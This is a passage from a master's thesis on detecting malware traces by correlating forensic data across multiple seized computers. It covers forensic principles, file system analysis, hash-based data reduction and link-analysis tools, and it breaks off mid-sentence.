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Abstract

Malware poses a huge threat to society, which is heavily dependent on computer techno-
logy. Traces of malicious activity can be identified through digital forensics techniques.
Digital forensics is performed in a semi-automatic manner. Forensic personnel have to ad-
ministrate the forensic tools and the process of searching for digital evidence on suspect,
confiscated computers. This becomes a daunting task when multiple machines are to be
analyzed and the data volumes increase. Analysis of common characteristics in a set of
multiple computers can be used to improve knowledge and to detect anomalies and the-
reby malware. This Master thesis proposes a correlation method for the automatic identi-
fication of malware traces across multiple computers. Through the use of existing digital
forensics methods and data mining techniques, correlations between multiple machines
are used to improve the efficiency and effectiveness of detecting traces of malware.
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Sammendrag

Skadelig programvare utgjør en stor trussel mot samfunnet, som er sterkt avhengig av
informasjonsteknologi. Spor av ondsinnede aktiviteter kan identifiseres gjennom digi-
tale etterforskningsteknikker. Digitale etterforskningsprosesser utføres i dag på en semi-
automatisk måte. Etterforskningspersonell må selv administrere verktøy og prosesser ved
å søke etter digitale bevis på mistenkelige, konfiskerte datamaskiner. Dette blir en omfat-
tende oppgave når flere maskiner skal analyseres og datavolumene øker. Korrelasjonsme-
toder kan benyttes for å tilføre kunnskap og for å oppdage ondsinnet programvare som
brukes i distribuerte angrep. Denne mastergradsoppgaven foreslår en korrelasjonsme-
tode som automatisk identifiserer skadelig programvare på tvers av flere datamaskiner.
Ved bruk av eksisterende digital dataanalyse og datautgravingsteknikker, benyttes kor-
relasjoner og linker mellom en mengde maskiner til å avsløre likhetstrekk og spor etter
skadelig programvare.
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1 Introduction

This chapter presents the topic covered in this thesis, highlights the problems involved
and indentifies the research questions we are trying to solve. In addition, the arguments
that justify the thesis, motivational factors and its benefits are given. The thesis’ contri-
butions and the methodology used to accomplish this are presented before we go further
into the background theory. The structure of the report is outlined at the end of this
chapter.

1.1 Topic covered by the Thesis

The use of information technology by governments, the public and in corporate envi-
ronments is increasing. All information stored on digital media and its flow through the
Internet, makes this an interesting playground for criminals. Digital forensics is applied
to gather evidence about digital crimes and incidents. Digital forensics follows specific
steps in order to detect and protect patterns of value to the investigation. What is both
important and challenging is to filter out uninteresting information, leaving special pat-
terns of interest for the investigation.

The computational power of modern IT systems can be utilized by adversaries to carry
out computer crime. Viruses or other malicious software (henceforth malware) can be
spread to numerous target machines all over the world in order to achieve control over
the information and the resources they hold. Machines are controlled as robots, with
the purpose of gaining access to and to exploit IT systems world wide, including critical
infrastructures depending on this technology [5]. Control mechanisms embedded in the
malware create these robots (called bots) and together they form botnets controlled by
a common adversary. The attacks are executed rapidly and new botnets are continuously
created [6, 7, 8].

The malware used for infection, and control over target machines, are complex and
sometimes hard to identify. Standard protocols and services are used to simulate normal
user behavior on the infected system. Also, techniques for changing patterns in its pro-
gram code and use of encryption techniques make it hard to identify their existence on
computers along with their malicious activity. However, some common patterns have to
exist in order for the malware to behave as intended.

The Computational power of modern IT systems can be used, not only by criminals,
but also for forensics. This is known as computational forensics, including the use of
computer power to enable and help to improve the efficiency and effectiveness of foren-
sics [9].

The efficiency is in this context and for the continuance of this report related to the
time perspective of digital forensic tasks. The effectiveness is concerned with the preci-
sion to detect relevant and high quality evidences.

1.2 Keywords

Digital Forensics, Computational Forensics, Malware, Botnets, Evidence Correlation, Data
Mining, Link Mining, Machine Learning

1



Cross-Computer Malware Detection in Digital Forensics

1.3 Problem Description

Large data volumes, obfuscated malware and techniques to remove their traces make it
time consuming, costly and difficult for forensic personnel to analyze and identify rele-
vant evidence. This is especially difficult when the evidence is present over a large col-
lection of computers. It is a challenging task for investigators with existing workstation-
centric forensic tools and limited time available to gather evidence about an incident and
present it to court [10].

In cases where multiple parties or systems are involved in the same crime, analysis of
digital evidence independently can cause loss of essential correlated evidence between
them. With regards to malware, this is difficult to detect when only dealing with one
machine assumed to be infected, due to various obfuscation techniques.

The main scenario for the problem we are facing is defined as: Is it possible to identify
traces of malware by using correlation techniques against data stored on multiple seized
computers? In order to answer this, digital forensics techniques for acquiring, extracting
and represented the relevant data, along with correlation and link analysis techniques
have to be examined. Obviously, similarities between individual data files stored on the
analyzed machines are identified, due to common software and operating system files.
It is therefore important to concentrate on typical features associated with malware and
the method for how to identify interesting and correlated anomalies as digital evidence
of malware’s existence.

1.4 Justification, Motivation and Benefits

Existing computer forensics tools have architectural limitations regarding their efficiency
and ability to handle increasing data volumes. In particular digital forensic tools are be-
coming outdated and suffer from old fashion manual work, requiring the forensic exami-
ner to use his/hers workstation for analysis [11, 12, 13, 14]. The ability to automatically
perform digital forensics on multiple sources at the same time has its advantages when
it comes to the efficiency and effectiveness of finding digital evidence. It also provide
increased knowledge of anomalies, only visible through correlation. This is typical for
identifying obfuscated and new malware with weak signatures and preliminary unknown
patterns, e.g., network of computer robots (botnets) that utilize common communication
techniques.

The ability to simplify and streamline the current processes for digital forensics, is
one of the strongest motivational factors. In addition, it is important to propose new
directions of research within digital forensics that can help to improve the current in-
vestigation techniques. This also includes the ability to detect malware and provide a
solution that can help to decrease computer crime and in special cases bring the respon-
sible to court.

Crime investigators and federal departments of digital forensics will benefit from new
forensic methods, aimed to automate forensic tasks of handling data sets from multiple
seized computers. The human analysis is still a very important aspect. Methods that
will assist human analysis will because of this improve the decision making and further
improve the result of digital forensics. The decreased time used for manual analysis, and
the possibility of detecting evidence of malware (only identifiable when grouped) will
minimize required resources and improve results of digital investigations.
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1.5 Research Questions

To get a clear understanding of what has to be examined, three research questions have
been defined.

• Which features can be used to correlate and identify malware? It is crucial that the data
used for analysis is well structured and contains all necessarily features that makes
malware identification possible.

• How can correlation techniques be applied to digital forensics? The method utilizing cor-
relation techniques, needs to fulfill all requirements for providing forensically sound
evidence.

• How will the correlation techniques affect the efficiency and effectiveness? In order for
the correlation techniques to be useful, they need to be more efficient and effective
(see Section 1.1) than the current semi-automatic processes of digital forensics.

1.6 Methodology

In order to find answers to the research questions just presented, a solid understanding
the disciplines involved is obtained and formulated for how to answer them. A survey
of existing digital forensic work and techniques, related work of malware detection, link
analysis and data mining techniques is conducted. The previous work for automating
digital forensic analysis by Simson L. Garfinkel et al. [13, 15, 16, 17, 18], gives a good
starting point for further research.

The literature study, is used to develop a correlation method that utilizes techniques
from multiple disciplines. In order to evaluate and obtain valid results, the method is
implemented in a virtual test environment. The experiments are properly documented in
order to provide reproduceability. Finally, the experiments are evaluated using quantita-
tive and especially qualitative measures. The efficiency and effectiveness of the correla-
tion method, both related to the process and results, are measured qualitatively, based
on the initial knowledge of the malware used to infect the experiment machines [19]. In
addition, the method is measured quantitatively based on the reduced size of the initial
data set from all machines involved.

Since the proposed solution is projected for digital forensics it was important that
the evidence was collected and presented in a forensically sound manner. Existing digital
forensic methodology and techniques for preserving evidence integrity and provide Chain
of Custody (CoC) build the foundation of the proposed correlation method.

Data mining and especially link mining techniques, including machine learning algo-
rithms and tools, are applied to handle the large and complex data sets collected from
the computers. Data mining methodologies for how to handle data sets and to obtain
good results is therefore required.

In order to identify malware, adoptions of intrusion and malware detection is essen-
tial. The features, representing characteristics of interesting files (that is the malware files
to detect), is carefully defined due to their direct effect on the final results of correlation
and malware detection.
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1.7 Contributions

This thesis provides the following contributions:

• A new correlation method for malware detection in digital forensics

• A set of NN features that reflect file characteristics which facilitate malware identifi-
cation. The features plays a central role for how to represent computer files and to
correlate them across multiple machines.

• A prototype implementation of the correlation method, where open-source tools and
source code of developed ones are provided. The practical implementation of the me-
thod is used in this thesis and can be used in the future to improve correlation based
digital forensic techniques. There are two techniques worth noting.

• A filtering technique for reducing large data sets. Tools are developed for extracting
hash values from a clean system and a tool for removing hashes efficiently.

• A technique for efficient and effective extraction and presentation of file-content string
features.

• A data set in ARFF format that can be used for future data mining tasks1. The expe-
riments performed in this thesis produced three datasets. These can be utilized for
further analysis and evaluation of correlation-based digital forensic techniques.

1.8 Thesis Outline

This thesis has been divided into several chapters. The idea behind this structure is to
provide a top-down approach, due to the different disciplines involved. It also defines the
boundaries and scope of the thesis before the correlation method and results obtained
are presented.

• Chapter 2 presents the theoretical background and related work required to unders-
tand how digital forensics can be used to detect malware. This chapter is divided into
two main sections, Digital Forensics and Malware Detection.

• Chapter 3 presents the building blocks of link and data mining techniques that can be
used to improve knowledge of correlated data. Related work of data mining applied
for detection of malicious activity is also presented in this chapter.

• Chapter 4 presents the framework of the proposed correlation method. Several disci-
plines are involved and it is crucial to defined clear boundaries, application areas and
evaluation criterias for the later proposed method.

• Chapter 5 proposes the new correlation method for malware detection. The chapter
is divided into two main sections, one to present the theoretical model and one to
present the practical implementation of it, used for the experiments.

• Chapter 6 includes the setup of the forensic system that complies with the require-
ments of the practical implementation and three experiments. These experiments are

1The Digital Forensic Data Set created for this thesis’ experiments are available for download at
http://dfds.andersof.net/
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used for evaluation of the method.

• Chapter 7 presents the overall discussions of the proposed correlation method and
the final outcome of the thesis.

• Chapter 8 concludes the thesis, work conducted and achievements.

• Finally, in Chapter 9, proposals for future work is given.
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2 Digital Forensics and Malware Detection

Digital forensics and malware detection are two topics which both involve methods to
find out as much as possible about something that happened, how and who was involved.
These similarities will be taken into account in order to identify that an incident caused
by malware has occurred and to find the evidence for its existence.

Our discussion about malware detection is aimed at how to find traces of it, not neces-
sarily how the malware operates in a live system (using reverse engineering techniques)
as is done in [20]. To see how malware detection can be done in forensics, we will first
look into the principles of digital forensics that builds the foundation for further analysis
of the malware traces.

2.1 Digital Forensics
Digital forensic principles and procedures have to be followed in order to preserve and
present the final evidence of an identified incident or crime. In order to achieve this, we
will first introduce the term Digital Forensics, as it is defined by Kruse and Heiser [21]:

"Preservation, identification, extraction, documentation, and interpretation of compu-
ter media for evidentiary and/or root cause analysis"

Another associated term, Computer Forensics, can be seen as a subset of Digital Fo-
rensics and is defined by Vacca [22] as:

"Computer forensics, also referred to as computer forensic analysis, electronic dis-
covery, electronic evidence discovery, digital discovery, data recovery, data discovery,
computer analysis, and computer examination, is the process of methodically exa-
mining computer media (hard disks diskettes, tapes, etc.) for evidence. [...]In other
words, computer forensics is the collection, preservation, analysis, and presentation
of computer-related evidence."

As we can see from the definitions above, both implies the use of forensically sound,
rigorous methods for handling digital evidence, whether it is found on a digital media or
in a computer. The definition provided for Digital Forensics, expresses computer media
as the digital media. This might cause confusion since a digital media doesn’t necessarily
imply a computational power of the digital media or device in question. Computer foren-
sics involves digital media only associated with a computer. Digital Forensics on the other
hand, involves all digital devices, e.g, cell phones, digital cameras, embedded and other
digital devices, including computer media. The focus of this report will be on computer
forensics. However, since the proposed correlation method can also be applied to digital
forensics, this will be used as the overall branch for the continuance of this report.

The term digital evidence, playing a central part in digital forensics, is defined by
Carrier and Spafford [1] as:

"Digital evidence of an incident is any digital data that contain reliable information
that supports or refutes a hypothesis about the incident"

In digital forensics, the preservation, extraction and documentation of digital evi-
dence are closely related to two essential forensic principles; the Chain of Custody(CoC)
and the Order of Volatility(OOV).
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2.1.1 Chain of Custody (CoC)
The ability to preserve the collected evidence and document all actions done in order to
obtain the final evidence is covered by CoC. Scientific Working Group on Digital Evidence
and Imaging Technology defines it in [23] as:

"The chronological documentation of the movement, location and possession of evi-
dence."

It is here the investigators responsibility, as the possessor, to maintain the CoC. For the
CoC to be valid, the evidence integrity have to be preserved in every step of the forensic
process.

Tampering of digital evidence is different from tampering with ordinary physical evi-
dence. This is caused by the involvement of a third party, a computer, which is used to
manage and analyze the digital evidence. In order to keep the integrity of the evidence,
all precautions have to be taken to make sure the tools used for acquisition, extraction
and analyzation of the source will not modify it in any way. To ensure CoC, use of in-
tegrity checks on the data (e.g., hash functions) and time stamping of forensic activities
can be applied.

2.1.2 Order of Volatility (OOV)

OOV deals with the lifetime of data and is the concept of gathering the most volatile
data first, because this is the data that will most likely be changed or destroyed first.
By extracting less volatile data before more volatile data, it is possible to gain more
information for further investigation [3]. Any extraction of data can, however, affect
other stored data, meaning that one have to carefully consider the context and goal
of what to extract before damaging crucial evidence. E.g., data stored on disk is less
volatile than data stored in memory and network. In cases where only data on a disk is
to be extracted in a post-mortem1 investigation, extraction of data from this media will
be prioritized.

2.1.3 The Event-based Digital Forensic Investigation Framework

In digital forensics, the value of collected evidence can be strengthen by following a
forensic investigation framework. A lot of work has been done to establish a standard
framework for digital investigations, where An Event-based Digital Forensic Investigation
Framework by Carrier and Spafford [1] is heavily applied. A framework like this offers
the possibility to tie different investigative tasks to different phases. Together, they can
provide a better understanding and overview of the incident investigated.

Figure 1 presents the main categories involved in the framework. This is presented in
order to improve the understanding of where the actual investigation of digital evidence
belongs. From the figure we have the following phases.

• The Readiness Phases include operations readiness and infrastructure readiness phases,
where all necessarily preparations are involved, e.g., training of people, configuring
and setting up the investigation infrastructure.

• The Deployment Phases include the detection and notification and confirmation and
authorization phases. Here the incident or crime has been acknowledged by some
party and the investigators are granted access for conducting the investigation.

1Post-mortem analysis is in the context of digital forensics, associated with analysis of a "dead", not running
computer or electronic device.
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Figure 1: Categories in An Event-based Digital Forensic Investigation Framework [1]

• The Physical Crime Scene Investigation Phases involves the physical examination of the
physical objects at the incident or crime scene. These are the phases where physical
evidence is associated with computer activity. In cases where physical evidence that
hold digital evidence is seized, a digital investigation starts.

• The Digital Crime Scene Investigation Phases includes the examination of digital data
in order to acquire relevant evidence. The results obtained in these phases are again
connected to the physical crime scene investigation. The phases involved here are
presented in Figure 2 and thoroughly discussed further below. These phases are also
the ones most relevant and important to utilize in this thesis.

• The Presentation Phase is the phase where the results obtained in the investigation
and the documentation of the processes used is presented.

The Digital Crime Scene Investigation Phases

Three main phases are involved with the The Digital Crime Scene Investigation Phases. All
of them includes documentation as one important task, and the rest are discussed for
each phase separately below.

Figure 2: The Digital Crime Scene Investigation Phases [1]

• The System Preservation and Documentation Phase considers the preservation and pro-
cess of keeping the state of the analyzed system as it was. Documentation is required
in order to link the original data to the data that is extracted and modified during
the analysis. While the state of a physical crime scene can be preserved through,
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e.g., pictures and videos, data from a digital crime scene can be gathered during an
investigation by copying it to another digital media. Hash functions can be used to
document the copy’s integrity. It is also important also to consider the problem in
question and the task of what evidence to collect. The digital evidence associated
with a powered off and running system can vary, e.g., in a case where a computer
is controlled by a malware (relying on a running system). In some cases it may be
that post-mortem analysis cannot be performed because of the requirement to have
systems running.

• The Evidence Searching and Documentation Phase utilizes the preserved data from the
crime scene to search for evidence. The search process itself is a multiphased pro-
cess for defining the target of interest. It also considers extraction and interpretation,
comparing the searched data with what is defined as the target object and finally up-
dating the knowledge about the interesting evidence objects. Keyword searching is a
typical way to find interesting objects. To define an interesting target object, previous
experience or knowledge of existing evidence can be utilized. The interpretation of
the searching methods also has an effect on what is found. When evidence is detec-
ted, it must be documented in accordance with the requirements (e.g., of a court of
law) and be preserved using hash functions.

• The Event Reconstruction and Documentation uses the evidence that is detected in the
searching phase to improve the understanding of the incident or crime that has hap-
pened. As we can see in Figure 2, this is a combined process of evidence searching and
event reconstruction carried out through several iterations. This will further increase
the understanding of the evidence and its impact of the event. This is a thorough
phase that again consists of multiple sub phases. These will not be discussed further
since reconstruction of events is out of scope for the correlation method presented in
this thesis.

2.1.4 The Digital Forensic Process

The Digital Crime Scene Investigation Phases, just presented, deals with the bigger picture
of a crime scene investigation and the activities involved to gather evidence, related to an
event. In this section we will examine the actual process of getting the digital evidence
in a more practical and technical manner.

The digital forensic processes have been discussed in various digital forensic litera-
ture [24, 14, 1], where the main elements remain the same. A digital forensic process
was presented in 2001 at the Digital Forensics Research Workshop [2]. It includes typi-
cal process categories involved from identification of the incident to the final decision.
This is a process in which each category is met by a variety of activities or candidate
techniques. The main categories are presented in Figure 3 and discussed below.

Identification

This is the category of which the incidents are identified. The incidents can here be
identified based on complaints, alerts, system monitoring or other indications implying
the need for investigation. This is also the category where the task of how the other
categories should be handled is defined. The task can be used to reflect, e.g., which
evidence or objects to look for during the investigation.

10



Cross-Computer Malware Detection in Digital Forensics

Identification

Preservation

Collection

Examination

Analysis

Presentation

Decision

Data Mining

Figure 3: Categories involved with the forensic process (based on Table 2 in [2])

Preservation

The preservation category includes case management tasks. This involves examination
of technologies for imaging the original media, time synchronization and other tasks
that arrange further forensic tasks. It can be considered as the beginning of handling
the digital object before its "touched". The CoC is also an activity that is started in this
category to allow reproduceability, integrity and traceability of the physical object’s origin
to the final evidence (which demands thorough documentation throughout the digital
forensic process).

Collection

Imaging or making a copy of the original digital object is the core activity in this category.
Approved methods, software and hardware appropriate to perform this task is applied
in order to fulfill this task. The decisions made for preservation is followed in order to
maintain the integrity of the data. One should also consider what data must be collected
and at which order based on the principle of OOV. Legal authorization is required in
order to collect any data at all.

Examination

To improve knowledge of the collected data, examination tasks are applied. Filtering
techniques are a typical task that can be used for examination. A well known filtering
technique is based on databases with signatures from known files. Many files in a com-
puter belongs to the operating system, software and other applications. Using these da-
tabases in combination with digital forensic tools makes it possible to improve the un-
derstanding of the files that are known or to filter them out if considered useless. If the
machines come from different time zones or if there is a suspicion of floating system
clocks, these have to be adjusted at this point. Pattern matching is another activity that
can be applied. Depending on the scope and the task of an investigation, some patterns
can be more interesting than others (e.g, SSNs to detect evidence of identity theft). In
cases of deleted files, this is the category that is meant for recovery and extraction, along
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with the preservation of what is examined and the traceability back to its origin. The
traceability is especially important since methods used for examination may change the
state of data, meaning that documentation have to be used to still keep the integrity of
the data. In addition, more complex tasks, e.g., compressed and encrypted files have to
be unpacked and decrypted if possible at this stage. It can also be that obscurity tech-
niques have been applied to complicate identification. If executable files are renamed to
appear as text documents, they need to be preprocessed to before the upcoming analysis.
Due to more and more use of encryption techniques by the public, obscurity techniques
are starting to be a big challenge in digital forensics as discussed in [25]. Regardless of
the examination task performed, it never alters or touches the original, only the copy.

Many tools, e.g., EnCase [26], are able to automate much of the examination tasks
(along with some analysis and reproduceability tasks) using proprietary scripting lan-
guages. This reduces the manual task for an analyst, along with the likelihood of mis-
takes.

Analysis

With the data examined, activities related to the task from the identification stage is
used to improve knowledge in order to find evidence. Statistical methods, manual ana-
lysis, techniques for understanding protocols and data formats, linking of multiple data
objects, along with time lining are some of the techniques that are used for analysis. As
emphasized in Figure 3, data mining can be part of this category to detect unsuspected
patterns and relationships between data objects to make it more understandable. At this
stage data mining techniques can be employed to digital forensics. The computational
power of computers can be used to automate the data mining tasks, known as computa-
tional forensics. Data mining and a sub domain Link mining is something we will discuss
further in Section 2.1.8, due to its importance for the correlation method. As for all other
categories, the preservation and traceability of the data is still important to conserve the
CoC.

Presentation

Documentation, recommendations and expert testimony are some of the techniques that
are used for presentation. The evidence, and the methods used to find it is presented to
a court of law or corporate audience (depending on the task of investigation).

Decision

Finally, the decision has to be made based on the presented evidence, where it will de-
pend on the context and the incident that triggered the forensic process. In cases where
evidence of a crime is presented to a court of law, the decision-maker is a judge or jury.
The decision-makers of corporate incidents depend on the extent, e.g, whether the inci-
dent breaks the law or internal policies.

2.1.5 File System Analysis
File system analysis is probably the best known type of digital forensics. It is also the
analysis type in focus for the correlation method presented later in this thesis. File System
Analysis is defined by Carrier and Spafford in [1] as:

"The analysis of the file system data inside of a partition or disk. This typically involves
processing the data to extract the contents of a file or to recover contents of a deleted
file."
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For data collection, file system analysis requires tools that are able to operate at different
layers of abstraction on a hard drive in order to collect all evidence necessarily for ana-
lysis. What we see depends on which layer we look at. Figure 4 presents one of many
abstraction layer models as proposed by Farmer and Venema [3]. Here we have three
layers of abstraction where, (a) is what users and applications are able to see, (b) what
the file system sees and (c) the hardware view. Information from several of these layers
can be combined to uncover information about hidden, obfuscated or deleted files that
might be of interest for the investigation.

Figure 4: Layers of abstraction (from [3])

Without going into the details of different storage media and all file systems some
basic concepts, should be defined. There are several file systems (e.g., ext3, FAT, NTFS)
using different types of data structuring techniques (Inode structures, FAT, MFT). File
systems are easy to access and analyze due to their structured file management. The
data found in these data structures is metadata, which is one of the main sources of
information for in file system forensics.

Example: NTFS Metadata

Metadata is data that describes other data. It includes useful information that can im-
prove the efficiency of an investigation dramatically. A Master File Table (MFT), used
in the NTFS file system on Windows computers, contain metadata information about all
files and folders located on the storage media. It can be information about where the
content of the files are located, timestamps (Modified, Accessed, Changed and Created),
file size, and access control information (e.g., user ownership).

Metadata about the files location on the storage media depends on the data structure
used. For MFT, the file system relies on a data structure consisting of blocks/clusters
(hereafter discussed as data clusters) which again consists of sectors, where each MFT
entry, points to the data clusters for the file content. For file system analysis, the way
deleted files are handled in NTFS (and others) by only marking file entries in the MFT as
unallocated, makes it possible to recover deleted files to a certain point [27]. The success
of the recovery depends on whether or not the data clusters holding the data, which
corresponds to the MFT entry, is partially or totally overwritten. This is called metadata-
based file recovery and works only when metadata about the deleted file exists.

Typical digital forensic tasks where metadata comes in handy is for, e.g., time line
analysis, search for filenames, and filtering out needless information. Another aspect of
metadata is that each file in the file system can be associated with more or less the
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same number of metadata attributes, making them easier to compare and correlate. This
is also one reason why metadata can be used for data mining tasks as shown in the
analysis category in Figure 3.

Slack Space

Not only deleted or unallocated files can be recovered when performing file system fo-
rensics. Malicious use of these storage rooms are typically associated with root kits and
other sophisticated malware [28, 27]. Simply put, slack space is the area in data clusters
or sectors which is not filled by the data of their corresponding file. This occurs when
a file is not exactly the size of a data cluster or sector (forming sector slack space and
cluster slack space), unless the space is filled with bogus data.

Host Protected Area

Host Protected Area (HPA) is an area of an ATA hard disks, usually not visible for the
operating system. Malware or other data can be placed in these areas in order to hide
its presence from a computer user only accessing his system from the operating system.
The HPA can be detected by comparing two ATA commands, telling how many sectors
are there and how many a user or operating system can see.

Image Storage Formats

When performing file system analysis, the original data have to be preserved during
collection, as discussed for the forensic process in Section 2.1.4. What data is copied and
in which form the data is represented for analysis depends on the image storage format
used. There exist several storage formats able to represent the true copy of the original
media. Some of these have additional features for storing metadata information about
the copied system. This metadata can, e.g., be the case number, storage format serial
number, media type, investigators and date of collection. Other features can improve the
efficiency of handling data by compressing it for saving storage space, and features for
providing forensic tool support [29]. A benefit of storing metadata about the seizure in
the same file as the data itself is the support of CoC, improving the traceability from
incident to presentation.

2.1.6 Internet Investigation and Network Forensics

A brief introduction to Internet Investigation is advantageous to understand and learn
more about the nature and origin of detected malicious activity associated with Internet.

Investigations of crime and incidents with traces to Internet applications, services,
protocols and users can be referred to as Internet Investigations. This is relevant for gathe-
ring evidence about organized crime, threats and stolen goods (e.g., illegal file sharing)
carried out on the Internet.

Internet investigation can be performed using different measures for gathering evi-
dence about an incident or a crime, its origin or cause. Tracing of origin can be performed
actively or passively using specialized tools2. By active tracing, we mean that you interact
with services or resources in control of the target in order to gain new knowledge. Passive
tracing, on the other hand, involves only techniques where publicly available sources of
information about the target is examined (e.g., DNS record servers, whois databases).

Network communication information can also be acquired from, e.g., firewalls and

2Traceroute or Tracert is a tool that can be used to obtain information about the path to the target IP address
in order to gather information about its location.
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IDS, or captured protocol specific network packets as evidence. These network packets
or logs can contain information about activity that might support or refuse a hypothesis
about an event. An attempt on attacking a remote computer can be noticed by the target
networks IDS under the right conditions, and the IDS logs can be used to strengthen the
hypothesis of an attack. It is important to notice that network traffic acquisition requires
legal authorization if executed on public networks. The legal issues will not be discussed
further in this report. More information on Internet investigation and finding geographic
locations for forensics can be found in [30].

2.1.7 Efficiency and Effectiveness in Digital Forensics

Because of their relevance in this paper, we introduced efficiency and effectiveness as
two important principles already in Section 1.1. In digital forensics the effectiveness is
associated to the success and powerful effect of detecting relevant evidence. Improved
effectiveness increase the frequency of finding important evidence. On the other hand,
efficiency is associated to the effort and resources used to locate the evidence. We have
chosen to separate these two because each of them play a central role in improving the
result of digital forensic investigations.

It is time consuming to manually identify digital evidence in large data volumes. A lot
of research have been conducted in order to improve the efficiency and effectiveness of
digital forensics. It is therefore important to take these approaches, along with challenges
and limitations into account in order to meet the requirements of new and modern digital
forensics solutions. We will here look at the current state and related work regarding the
efficiency and effectiveness of digital forensics.

Many digital forensic tools are becoming more or less outdated with regards to the
increasing trend of distributed and service oriented architectures. In [11], Daniel Ayers
present what he considers "first generation" forensic tools, e.g., EnCase and the Forensic
ToolKit (FTK) [31]. He claims they are mainly suited for manual analysis from investiga-
tors workstations, having Microsoft Windows as operating systems, and their limitations
regarding analysis of high capacity data storage volumes. As defined by Ayers, the big-
gest limitation of first generation tools are the processing and I/O device read speed
of enormous quantities of data. He exhibits software vulnerabilities due to, e.g., unsafe
programming languages as C and C++ and the software’s closed source, affecting au-
dit ability of functionality. In addition, the planning and analysis tasks in the hands of
the investigator, and finally the lack of automation and data abstraction capabilities are
discussed. Manual work on loads of digital evidence affects the efficiency significantly
and relevant evidence is harder to identify as the data loads are increasing. Proposed
requirements for a second generation tool are also given in [11]. The efficiency of the
data acquisition (whereas distributed processing are of relevance) and how the data is
represented are among the most important ones. In order to achieve this, support for
generating an evidence format for representing the collected data, with a possibility to
produce a high-level abstraction of the most significant evidence, files will be essential.

In cases where several evidence targets have to be analyzed, removal of standard
known files is preferable. In [14], Golden G. Richard III and Vassil Roussev discuss
(among several techniques for improving modern digital forensics) the better acquisition
techniques, e.g., data reduction by using large-scale hash databases with hash signatures
for known files. They present the NIST’s National Software Reference Library (NSRL)
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Reference Data Set (RDS) [32] as one such database that can be used to decrease the
large amounts of data to be analyzed. The database is publicly available and can be used
successfully when large data volumes are to be analyzed. E.g., in [33] the NSRL RDS is
used together with a technique for reducing data volumes to detect malware.

Data Representation

Improving the efficiency and effectiveness of digital forensics involves how the evidence
is presented to the algorithms and tools applied (as discussed for image file formats in
Section 2.1.5). The XML-based prototype for indexing and querying for digital evidence,
XIRAF was presented by Alink et al. in [24]. By using special tools for structuring infor-
mation as XML, gathered from a digital evidence file, querying improves significantly. The
querying can then be handled by the XQuery querying language [34], giving the investi-
gator the ability to customize searches to the particular cases. The goal of this approach
is to improve the efficiency in analyzing large data volumes (especially from multiple
data sources) and improve the investigators ability to detect relevant evidence. This can
be quite challenging for huge datasets. The good structuring capabilities and wide range
of applications/tools for XML is also important considering analyzing numerous evidence
sources and the way the evidence can be presented.

An interesting approach with regards to the representation of data, such as XML, was
presented in [17]. A program called fiwalk, which stem from its file and inode walk me-
thod, is used to walk through the data structure and extract file attributes that can be
represented in XML and ARFF (Attribute Relationship File Format). fiwalk uses known
tools from The SleuthKit (TSK), scripted into a python program in order to automati-
cally create files that can be used for analysis, e.g., data mining. This is the tool used
in this thesis for the practical implementation of the correlation method and executed
experiments. The tool is discussed further in Chapter 5.

2.1.8 Link and Correlation-based Forensic Analysis

Information can be linked together, be divided into groups based on common content and
properties. Social relations and networks are good examples of domains which reflects
well what the various players have in common, whether it is friendships, family rela-
tionships, interests or employment. The characteristics that unite the different players
together can be genetic, social, depending on what one wants to investigate further. In
such cases, the actors, whether they are objects, assets, people, or program code in a
computer, can be linked together in one way or another. This will improve the unders-
tanding of the information set as a whole. There are different methods to identify and
represent such networks and connections. In this chapter we will discuss the use of link
analysis and corresponding benefits of using it for forensic purposes.

Linking of Criminal Behaviour

The concept of linking entities and objects involved in the same crime can uncover pre-
viously unknown information that gives a forensic investigator a new picture of the event
and parties involved. In [35], Jesus Mena presents data mining techniques for investi-
gating and detecting security breach and crime, where link analysis offer one of the
important analysis techniques. Personal credentials, locations, information about orga-
nizations, telephone numbers and email addresses are some of the attributes that can
be used to link entities, objects and events involved in, e.g., financial fraud, laundering

16



Cross-Computer Malware Detection in Digital Forensics

or terrorist networks. Visual linking gives investigators the opportunity to handle evi-
dence in an efficient manner and sometimes also work proactively to prevent organized
crime from evolving and criminal events from happening in the future. Mena is mainly
concerned about links between financial transactions, drug trafficking and ways of dra-
wing organized crime and their network into graphs and maps. However investigation
through the use of correlations and links can have a positive effect on defeating computer
crime.

To give an example of successful use of linking, Mena presents a case study that deals
with a drug trafficking case where the responsible police department had huge amounts
of information available, but no good way to analyze the links associated with the crime.
The solution to this limitation was a web based application for querying and searching for
links among the large amounts of data stored in the database. This gave the investigators
a better view of the crime.

Figure 5: Illustration of i2 Analyst’s Notebook (from [4])

One of the most popular link analyst tools available, used by security, law enforce-
ment and investigative analysts is the i2 Analyst’s Notebook [36]. Figure 5 illustrates
how i2 Analyst’s Notebook can be used for Social Network analysis. This tool offers link
and case analysis and support, e.g., network, flow, transactions and time line features,
the ability to combine multiple charts to provide large ones of correlated subjects, infor-
mation objects, events and additional relevant data (e.g., multimedia). Knowledge about
linking tools (such as i2 Analyst’s Notebook) and how they can improve the efficiency
of digital forensics are useful for designing a correlation system to identify malware and
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other correlated incidents.

Correlation and Linking Techniques used in Digital Forensics

Existing digital forensics tools have limitations regarding correlations between different
computer components that store digital evidence. Due to this issue, Case et al. present
FACE [12], which is a framework for discovering correlations between various evidence
targets (e.g., hard drives). Manual analysis of correlated events from multiple evidence
targets is time consuming and can involve subjectivity from the investigators point-of-
view. With FACE, the goal is to provide automated correlation of events from a computer’s
memory, disk and network capture. By correlating these sources, it is possible to give an
investigator structured views of scenarios that have happened on the target computer.
The different views that can be presented to the investigator are user, groups, processes,
file system and network. When, e.g., examining the user view, information about the
user’s activity, used processes, files, network traffic linked to the activity are presented.
This way of looking at evidence and links to other evidence, increase the investigators
efficiency in detecting malicious behavior.

While correlation among multiple computers are not considered for FACE, the view
feature and the correlation techniques presented are certainly relevant for correlating
malware evidence from multiple machines as well. Here the ability to map dependencies
and highly relevant activities among them can reveal new and previously undetected
evidence.

Another important element of correlating evidence in digital investigations is the use
of timestamps. Due to variations between timestamps created by unsynchronized system
clocks, issues arise when analyzing multiple computer systems. Schatz et al. investigate
in [37] the details of how operating systems (in particular Windows) and computers
synchronize clocks, and based on the knowledge obtained they presented a correlation
method for how to increase timestamp’s integrity. As a resource of additional time infor-
mation, browser records, which is a typical source of information in personal computers
nowadays was used as an additional reference point. This is an interesting approach
to decreasing uncertainty of the timestamps when analyzing multiple machines, using
unsynchronized system clocks and for machines located in different time zones.

During analysis of numerous secondary market hard drives for detecting valuable cre-
dentials, e.g., credit card numbers and email addresses, Simson L. Garfinkel discovered
